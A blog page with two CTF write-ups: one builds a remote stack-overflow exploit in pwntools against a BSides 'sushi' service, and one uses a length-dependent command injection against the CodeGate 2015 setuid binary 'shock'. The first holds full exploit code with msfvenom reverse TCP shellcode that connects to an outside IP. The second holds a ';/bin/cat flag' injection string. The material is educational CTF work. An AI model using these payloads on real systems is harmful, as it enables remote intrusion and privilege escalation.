root@mankrik:~/bsides# gdb --quiet ./sushi
Reading symbols from /root/bsides/sushi...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/bsides/sushi
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Deposit money for sushi here: 0x7fffffffe250
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry, $0.65 is not enough.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a70e03 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffff 4294967295
rdx 0x7ffff7dd8de0 140737351880160
rsi 0x1 1
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe2a0 0x7fffffffe2a0
r8 0x10 16
r9 0x1 1
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x4004a0 4195488
r13 0x7fffffffe370 140737488348016
r14 0x0 0
r15 0x0 0
rip 0x7ffff7a70e03 0x7ffff7a70e03 <__libc_start_main>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)

Ok so we can control the value of EBP with 72 bytes of A’s. What about with more A’s? An address is 6 bytes long in this context so I’ll bump up the buffer size to 78 bytes.

 (gdb) r  
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bsides/sushi
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Deposit money for sushi here: 0x7fffffffe250
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry, $0.65 is not enough.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)

Ok that’s more like it. Direct control over EIP from 78 bytes of input. So now all we need to do is exploit this remotely and capture the flag.  Easy!

First roadblock is, if you noticed from the results of the offset fuzzing python output about is that each time the sushi program starts the address it gives is different. ASLR does this and if it behaves this way on the remote system as it does on my local system then we need to deal with that in order to deliver a reliable exploit.

Fortunately our sushi engineers have been nice to just give us a perfectly valid stack location right in the greeting banner.

 root@mankrik:~/bsides# gdb --quiet ./sushi  
Reading symbols from /root/bsides/sushi...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/bsides/sushi
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Deposit money for sushi here: 0x7fffffffe250
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry, $0.65 is not enough.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/8bx 0x7fffffffe250
0x7fffffffe250: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)

It even points directly to our input, so in order to start getting code executing we just need to parse this address and deliver it into the EIP location from there the OS will jump right into our buffer and begin executing some delicious shellcode.

Before we go too much further, let’s get an environment setup which emulates the CTF environment. We can easily bind our sushi to a port using netcat. We can even wrap it with a while loop so it restarts after we crash it.

 root@mankrik:~/bsides# while [ 1 ]; do nc -lvp 4000 -e ./sushi; done  
listening on [any] 4000 ...

Then use netcat to test:

 root@mankrik:~/bsides# nc localhost 4000   
Deposit money for sushi here: 0x7fff85649a20
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry, $0.65 is not enough.
root@mankrik:~/bsides#

Which results in this neatness.

 root@mankrik:~/bsides# while [ 1 ]; do nc -lvp 4000 -e ./sushi; done  
listening on [any] 4000 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 51068
Segmentation fault
listening on [any] 4000 ...

OK so we have a working sushi server, knowledge about how to properly crash sushi and how to control EIP, we even know how to get a valid stack address and where to put that stack address in our payload in order to execute code.

In order to deliver all that I’m going to use pwntools / binjitsu which is a python framework used to make writing CTF exploits simpler.

Firstly lets build a script that just connects and parses the stack location and prepares that address for injection into our payload then sends the payload to see what happens…

 #!/usr/bin/python  
from pwn import *
buf = "A" * 72
# open the tcp connection and receive the banner
conn = remote('localhost', 4000)
sushihello = conn.recvline()
# parse the stack address from the sushi banner
line = sushihello.split()
addr = line[5].replace("0x","")
# Reverse the byte order of the address
little = "".join(reversed([addr[i:i+2] for i in range(0, len(addr), 2)]))
# convert the addresses to binary
data = little.decode('hex')
# build payload
attackstring = buf + data
# display some debug information for ourselves
print sushihello
print "Address: 0x" + addr
print "Length of attack: " + str(len(attackstring))
# send the payload
conn.send(attackstring)
conn.close()

Which results in this cool output thanks to binjitsu.

 root@mankrik:~/bsides# ./suship1.py   
[+] Opening connection to localhost on port 4000: Done
Deposit money for sushi here: 0x7fff16633800
Address: 0x7fff16633800
Length of attack: 78
[*] Closed connection to localhost port 4000

Let’s add one thing just before it sends the payload “attackstring” so that we can have a few seconds to attach a debugger if we want:

  ...  
print "Length of attack: " + str(len(attackstring))
# sleep so we can attach a debugger
time.sleep(10)
# send the payload
conn.send(attackstring)
...

And to simplify attaching a debugger, without having to know the pid every time, use this Bash one-liner to fire up GDB on the sushi process:

 root@mankrik:~/bsides# gdb --quiet -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  

So all that preperation done, let’s run our exploit, attach our debugger and see where we’re at:


 root@mankrik:~/bsides# gdb --quiet -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
Attaching to process 46889
...
0x00007fbc9bd18970 in read () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007fff06f4fe30 in ?? ()
(gdb) x/4i $pc
=> 0x7fff06f4fe30: rex.B
0x7fff06f4fe31: rex.B
0x7fff06f4fe32: rex.B
0x7fff06f4fe33: rex.B
(gdb) x/4bx $pc
0x7fff06f4fe30: 0x41 0x41 0x41 0x41

Awesome! So we’ve exploited the process and our current crash is while trying to execute in our payload of “A"s which are the 0x41 bytes.

Time for shellcode, but before we go down that path let’s consider what we’re working with.

So far our buffer is only a measly 78 bytes long. Subtract 6 bytes for the EIP we need to inject that’s 72 and we have to deduct a few more bytes from that to take into account any values our shellcode may need to push onto the stack in order to successfully execute. This leaves us with about 64 bytes give or take and there aren’t that many options for shellcode that small that will operate remotely.

For my situation I decided I would go for a reverse TCP shell payload, keeping in mind the BSides event information and knowing that the challenges are in a chroot environment with only /bin/sh and /bin/cat really available. This seemed to be a good option.

So off to metasploit framework to generate our payload, I used msfvenom tool for this in Kali which I configured to send me a shell to my EC2 instance on port 80/tcp:

Note: You will not be able to directly use this shell code as it points directly to my EC2 instance. You’ll need to use msfvenom to generate your own shellcode.

 root@mankrik:~/bsides# msfvenom -f python -p linux/x64/shell_reverse_tcp LHOST=54.65.5.90 LPORT=80  
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
buf = ""
buf += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += "\x97\x48\xb9\x02\x00\x00\x50\x36\x41\x05\x5a\x51\x48"
buf += "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += "\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += "\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += "\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

Argh! We have a problem. We only have 64 bytes or less available but my shellcode is 74 bytes. What to do? We need to spread out more. Hopefully we can figure this out by supplying a bigger buffer in our exploit.

Lets’ add another buffer in our exploit and change the payload:

 from pwn import *  
buf = "A" * 72
after = "A" * 80
# open the tcp connection and receive the banner
...
# build payload
attackstring = buf + data + after
# display some debug information for ourselves
...

Lets run the exploit and debug…

 0x7fffc31fe000  
0x00007f9331cfd970 in read () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f2 in ?? ()
(gdb) x/4i $pc
=> 0x4005f2: retq
0x4005f3: nopw %cs:0x0(%rax,%rax,1)
0x4005fd: nopl (%rax)
0x400600: push %r15

Hmm damn, seems we went backwards as we’re not crashing in the right place anymore. Why?

Well through trial and error I found it to be due to the data stored on our stack after our injected EIP value. This is a 64 bit program but the address length we supplied was only 6 bytes. We need to pad the value with 2 null bytes before continuing our buffer with our arbitrary data.

Let’s update our exploit and try again:

 from pwn import *  
buf = "A" * 72
after = "A" * 80
nulls = "\x00\x00"
# open the tcp connection and receive the banner
...
# build payload
attackstring = buf + data + nulls + after
# display some debug information for ourselves
...

And the debug output confirms we’re back to executing our code but this time with a tonne of space on the stack after our EIP value:

 Program received signal SIGSEGV, Segmentation fault.  
0x00007fff4a9c8ea0 in ?? ()
(gdb) x/4i $pc
=> 0x7fff4a9c8ea0: rex.B
0x7fff4a9c8ea1: rex.B
0x7fff4a9c8ea2: rex.B
0x7fff4a9c8ea3: rex.B
(gdb) x/160bx $pc
0x7fff4a9c8ea0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ea8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8eb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8eb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ec0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ec8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ed0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ed8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ee0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ee8: 0xa0 0x8e 0x9c 0x4a 0xff 0x7f 0x00 0x00
0x7fff4a9c8ef0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8ef8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fff4a9c8f38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

So whats next though, we could do the next step in two ways. Instead of specifying the EIP we are now, we could add 78 to it so it would jump forward, or we could insert a jmp instruction at the current EIP value and tell it to do the jump into our second, larger buffer.

Let’s do the latter because it sounds more fun. First lets get the opcodes for jmp +80bytes. We can do this with the nasm_shell tool from metasploit framework:

 root@mankrik:~/bsides# /usr/share/metasploit-framework/tools/nasm_shell.rb  
nasm > jmp 80
00000000 E94B000000 jmp dword 0x50

Ok so in python format thats jmp = ”\xe9\x4b\x00\x00\x00", lets add it to our exploit and subtract the number of bytes from our buffer so we keep everything in order.

Let’s also replace our “after” buffer with real live shellcode. So our full exploit now looks like this:

 #!/usr/bin/python   
from pwn import *
jmp = "\xe9\x4b\x00\x00\x00"
buf = "A" * (72 - len(jmp))
shellcode = ""
shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
shellcode += "\x97\x48\xb9\x02\x00\x00\x50\x36\x41\x05\x5a\x51\x48"
shellcode += "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
shellcode += "\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
shellcode += "\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
shellcode += "\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
nulls = "\x00\x00"
# open the tcp connection and receive the banner
conn = remote('localhost', 4000)
sushihello = conn.recvline()
# parse the stack address from the sushi banner
line = sushihello.split()
addr = line[5].replace("0x","")
# Reverse the byte order of the address
little = "".join(reversed([addr[i:i+2] for i in range(0, len(addr), 2)]))
# convert the addresses to binary
data = little.decode('hex')
# build payload
attackstring = jmp + buf + data + nulls + shellcode
# display some debug information for ourselves
print sushihello
print "Address: 0x" + addr
print "Length of attack: " + str(len(attackstring))
# send the payload
conn.send(attackstring)
conn.close()

Great - we should be all set. This time, instead of using GDB to debug the sushi program, let’s use strace to trace what’s going on. The command line syntax is the same as GDB (e.g. strace -p )

 root@mankrik:~/bsides# strace -p `ps -auwwx | grep sushi | grep -v python | grep -v grep | awk '{print $2}'`  
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
Process 52194 attached - interrupt to quit
read(0, "", 4096) = 0
write(1, "Sorry, $0.-23 is not enough.\n", 29) = 29
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("54.65.5.90")}, 16^C
Process 52194 detached
root@mankrik:~/bsides#

Woot! Our shell code is trying to make the outbound reverse shell connection!

The only thing left to do here is to change the exploit to point at the sushi server in the live production instance and exploit it. Once the shell is achieved we simply use “cat flag.txt” and receive the flag.

A fun challenge for me this one as I had been waiting for an opportunity to practice remote overflow writing and also this was the first time I got my feet wet with binjitsu.

Write up by Dacat

Sunday, 15 March 2015

on Leave a Comment

CodeGate 2015 - System Shock Pwnable

For this years CodeGate teams faced some ingenious challenges. Today I will write up the first challenge we solved which seems to have also been first for many of the teams. This challenge is Systemshock.

  □ description  
==========================================
Login : ssh systemshock@54.65.236.17
Password : systemshocked
==========================================

Upon logging in you are placed into the systemshock user home path with the following files:

 systemshock@ip-172-31-3-97:~$ ls -la  
total 32
drwxr-xr-x 2 systemshock systemshock 4096 Mar 14 08:59 .
drwxr-xr-x 5 root root 4096 Mar 12 19:40 ..
lrwxrwxrwx 1 root root 9 Mar 14 08:59 .bash_history -> /dev/null
-rw-r--r-- 1 systemshock systemshock 220 Mar 12 19:34 .bash_logout
-rw-r--r-- 1 systemshock systemshock 3392 Mar 12 19:34 .bashrc
-r-------- 1 systemshock-solved root 56 Mar 14 08:59 flag
-rw-r--r-- 1 systemshock systemshock 675 Mar 12 19:34 .profile
-rwsr-xr-x 1 systemshock-solved systemshock 5504 Mar 12 20:07 shock
lrwxrwxrwx 1 root root 9 Mar 14 08:59 .viminfo -> /dev/null

We cant read the flag right now because its owned by user systemshock-solved and is mode 0400:

 systemshock@ip-172-31-3-97:~$ cat flag  
cat: flag: Permission denied

The shock file is a Linux ELF binary program that is setuid and executable:

 systemshock@ip-172-31-3-97:~$ file shock  
shock: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x15fb3a120bea64fa53993f6552d52d9e1370a5a9, stripped

Upon executing the setuid binary “shock” with no arguments we get no output

 systemshock@ip-172-31-3-97:~$ ./shock  
systemshock@ip-172-31-3-97:~$

Feeding it a test string we get the output of what looks like the /usr/bin/id command:

 systemshock@ip-172-31-3-97:~$ ./shock test  
id: test: No such user

That’s cool, so this binary is executing “id” with the arguments we feed it? Sweet, lets validate our theory:

 systemshock@ip-172-31-3-97:~$ ./shock systemshock  
uid=1002(systemshock) gid=1002(systemshock) groups=1002(systemshock)
systemshock@ip-172-31-3-97:~$ ./shock root
uid=0(root) gid=0(root) groups=0(root)

Ok so we assume it’s running the “id” command with escalated privileges since the binary is setuid, the binary is setuid user “systemshock-solved”. So our first thought is that this must be a command injection vulnerability. So I test the obvious thing first:

 systemshock@ip-172-31-3-97:~$ ./shock "root;cat flag"  
systemshock@ip-172-31-3-97:~$

Ok! So that didn’t work… but why?

Next thing we do is download the shock binary. To download it I was very lazy so just ran “base64 shock” and then copy/pasted the base64 encoded file to my Kali linux system which i then ran base64 -d against.

With the binary on my local system I was able to do several things, firstly I loaded the binary in IDA Pro to check for obvious things. Static analysis was slow without symbols so I loaded it into GDB and dynamically analysed the steps. 

Firstly I deduced the main function entry point and set breakpoints at obvious branch locations that I found during static analysis with IDA Pro.

Next I stepped through execution with acceptable values of argv (e.g. valid usernames) and unacceptable values (e,g. command injection attempts containing semicolons).

What I was able to find is pretty obvious in that it loops through the command line argument byte by byte and exits when any character not in the A-Za-z0-9 set is found. This pretty much excludes any form of simple command injection here by string manipulation so it was time to look elsewhere. 

Next lets try another obvious point; maybe we can fuzz this binary to investigate the possibility of controlling execution flow of the escalated process? A stack overflow would do the trick if we can control EIP maybe…

 systemshock@ip-172-31-3-97:~$ ./shock `perl -e 'print "A" x 100'`  
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
systemshock@ip-172-31-3-97:~$ ./shock `perl -e 'print "A" x 1000'`
Segmentation fault

Ok so it crashes when fed a long argv, cool, lets look into why?

 root@mankrik:~/codegate# gdb ./shock  
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/codegate/shock...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "A" x 1000'`
Starting program: /root/codegate/shock `perl -e 'print "A" x 1000'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b6c8cf in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) i r
rax 0x4141414141414141 4702111234474983745
rbx 0x0 0
rcx 0x1 1
rdx 0x7fffffffe16b 140737488347499
rsi 0x7fffffffe620 140737488348704
rdi 0x4141414141414140 4702111234474983744
rbp 0x7fffffffdea0 0x7fffffffdea0
rsp 0x7fffffffdd58 0x7fffffffdd58
r8 0x4141414141414141 4702111234474983745
r9 0xfefefefefefeff40 -72340172838076608
r10 0x0 0
r11 0x7ffff7ad0090 140737348698256
r12 0x400650 4195920
r13 0x7fffffffdf80 140737488347008
r14 0x0 0
r15 0x0 0
rip 0x7ffff7b6c8cf 0x7ffff7b6c8cf
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type to continue, or q to quit---q
Quit
(gdb)

So we did crash it, but not in a super useful and easy to use way yet. We could look further into this crash but first let’s look at using different length strings to see if we can crash in other places that might be a quick win instead.

We use this python script which I ran on my local system.

Note: I would not advise trying this on the live CTF server, that may get you banned!:

 #!/usr/bin/python  
import os
for i in range(100,1000):
buf = 'A' * i
cmd = "./shock "+ buf
print str(i) + ":"
os.system(cmd)

It spits out information like this.

 351:  
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
*** stack smashing detected ***: ./shock terminated
Segmentation fault
352:
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
*** stack smashing detected ***: ./shock terminated
Segmentation fault
353:
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
*** stack smashing detected ***: ./shock terminated
Segmentation fault
354:
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
*** stack smashing detected ***: ./shock terminated
Segmentation fault

What’s interesting in the output is that there’s a few separate crashes with different symptoms, right at about the 527 byte area it looks like were crashing in a different place.

 526:  
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
Segmentation fault
527:
Segmentation fault

On the off chance we can take advantage of a different code path in the program, let’s try a slightly modified python script.

I’ve added a key piece below (the inject string) and added a file on my local system called “flag” with the text “You got a flag!”

 #!/usr/bin/python  
import os
inject = '";/bin/cat flag"'
for i in range(100,1000):
buf = 'A' * i
cmd = "./shock "+ buf + inject
print str(i) + ":"
os.system(cmd)

When I ran this on my local system, I was “shocked” to see this output right around the 511 byte buffer size mark. This only worked at 2 different offsets, 511 bytes and 512 bytes.

 511:  
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
You got a flag!
Segmentation fault

So let’s take a command line argument of exactly 511 x A’s and the string “;/bin/cat flag” and paste it onto the live system:

 systemshock@ip-172-31-3-97:~$ ./shock AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";/bin/cat flag"  
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
Segmentation fault

And there is our flag! What an unusual challenge but a fun simple way to get into Code Gate 2015!

It’s true to say we did NOT look into why this worked yet but I plan on spending some quality time with GDB to add a part 2 to this write up soon.

Writeup by: Dacat